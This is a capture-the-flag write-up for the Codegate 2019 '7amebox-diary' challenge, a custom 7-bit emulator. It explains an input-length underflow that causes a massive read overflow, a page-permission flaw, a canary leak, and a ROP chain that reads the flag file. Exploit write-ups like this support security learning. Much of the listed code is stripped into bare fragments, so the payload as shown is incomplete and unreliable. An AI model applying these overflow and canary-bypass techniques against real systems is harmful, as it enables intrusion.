Codegate CTF 2019 - 7amebox-diary
Table of Contents
0x00. Introduction
Again, the basic structure is the same as 7amebox-name.
Structure
;
Concept
void
This firmware allows creating diary entries with write, viewing them with list and show, and modifying them with edit.
0x01. Vulnerability
The firmware is significantly larger than 7amebox-name, so I ported it to C first. But no matter how hard I looked, couldn’t spot any vulnerabilities. That’s when I took another look at the emulator code and found this:
=
=
break
+=
break
+=
return
return None
Since this is a 7-bit per byte environment, input is terminated and returns when values greater than 0x80 are encountered. This might seem insignificant, but it creates a critical vulnerability in write:
0x286: 10 5b mov r5, bp
0x288: 2e 50 06 00 00 sub r5, 0x6
0x28d: 00 65 ldr r6, [r5] ; r6 = [r5]
0x28f: 26 60 1e 00 00 add r6, 0x1e
0x294: 12 10 30 00 09 mov r1, 0x4b0
0x299: 10 06 mov r0, r6
0x29b: 7b 50 6f 00 06 call read_0x60f ; read(memory + 30, 1200);
0x2a0: 48 00 dec r0
0x2a2: 10 5b mov r5, bp
0x2a4: 2e 50 06 00 00 sub r5, 0x6
0x2a9: 00 65 ldr r6, [r5] ; r6 = [r5]
0x2ab: 26 60 1e 00 00 add r6, 0x1e
0x2b0: 24 60 add r6, r0
0x2b2: 0d 76 strb ('zero', [{'r6'}]) ; [r6] = zero
0x2b4: 10 5b mov r5, bp
0x2b6: 2e 50 06 00 00 sub r5, 0x6
0x2bb: 00 65 ldr r6, [r5] ; r6 = [r5]
0x2bd: 26 60 6c 00 09 add r6, 0x4ec
0x2c2: 10 10 mov r1, r0
0x2c4: 10 06 mov r0, r6
0x2c6: 7b 50 44 00 06 call read_0x60f ; read(memory + 1260, r0)
The write flow takes input in order: title -> contents -> key. Since contents and key are XORed together to be stored, they must have the same length.
Looking at the assembly, at 0x29b it reads contents and immediately uses the return value r0 to determine the length for reading key. There’s a dec r0 at 0x2a0 to remove the trailing \n.
Here’s the vulnerability: if we provide Stdin with a value greater than 0x80 to make r0 zero, the key read length becomes -1.
Now let’s examine how this syscall is handled:
# read
=
=
=
=
= # Stdin.read(size)
Fortunately, there’s no validation for negative size values, which triggers a massive overflow reading 0b111111111111111111111 bytes.
return
= & 0b1111111
Additionally, write_memory only checks permissions for the start and end pages, allowing writes to intermediate pages even without write permission.
0x02. Exploit
Canary Leak
0x587: 10 5b mov r5, bp
0x589: 2e 50 03 00 00 sub r5, 0x3
0x58e: 00 65 ldr r6, [r5] ; r6 = [r5]
0x590: 5c 69 cmp r6, r9
0x592: 73 50 06 00 00 je pc + 0x6 ; jne if A == B ; not FLAG_ZF
0x597: 11 4b mov sp, bp
0x599: 1d 30 pop bp
0x59b: 1d 50 pop pc
stack_chk_fail_0x59d:
0x59d: 12 00 04 00 13 mov r0, 0x984
0x5a2: 7b 50 3a 00 01 call print_0x661
0x5a7: 54 00 xor r0, r0
0x5a9: 20 00 syscall
Every function includes a stack protection mechanism that compares the value stored in r9 against [bp-0x3].
To bypass this, we need to leak the canary. If we can write the canary’s address to 0x59003, we should be able to leak it through list:
char *
void
The challenge is that we need to allocate a diary before 0x59000 (the global variable space) to overwrite it. Here’s the memory allocation logic:
return
return -1
return
return -1
When no address is specified, it iterates through self.pages.items() to find unmapped space. Here’s where Python 2.7’s random dictionary iteration helps us - we can repeatedly call write until an allocation occurs below 0x59000.
I hooked allocate to monitor the allocations and got lucky on the second attempt:
Now we calculate the offset from the allocated 0x1c000 key address to 0x59003 where diary_ptr is stored:
# 0xc4000
= b *
+=
+=
# 0x1c000
=
=
Stack Overflow
With the canary leaked, we can overwrite the return address of stack to control pc.
One important note: read_0x60f has its own canary check, so we need to account for both canaries in our payload:
= b *
+= # canary of read_0x60f
+= b
+= # canary of write_0x1f0
0x03. Payload
=
= 0x1c000 + 0x4ec
= 0x59000
= 0xf5fce
= 0xf5fc8
= 0xf5fb6
=
=
return
return
return
=
=
# print(set_bp(s, bp['end_of_list']))
# 0xc4000
= b *
+=
+=
# 0x1c000
=
=
= b *
+=
+= b
+=
# open("flag") => r0 = 1, r1 = "flag"
+= # ret
+= # pop r1
+= # pop r0
+= # pop pc ; syscall
# read(2, 0x3a000, 0x40) => r0 = 3, r1 = 2, r2 = 0x3a000, r3 = 0x40
+= # pop r6
+= # pop r3
+= # pop r2
+= # pop r1
+= # pop pc ; pop r0
+= # pop r0
+= # pop pc ; syscall
# write(1, 0x3a000, 0x40) => r0 = 2, r1 = 1, r2 = 0x3a000, r3 = 0x40
+= # pop r6
+= # pop r3
+= # pop r2
+= # pop r1
+= # pop pc ; pop r0
+= # pop r0
+= # pop pc ; syscall
# 0x3a000
0x04. Decompile
char *string_0x6c3 = "====================================================\
| SECRET_DIARY |\
====================================================\
| ___________ |\
| | _ | |\
| | (_) | |\
| | | | | |\
| | |___| | |\
| |___________| |\
----------------------------------------------------";
int count_0x59000 = 0;
struct diary *diary_ptr_0x59003;
;
char *
void
void
void
void
void
void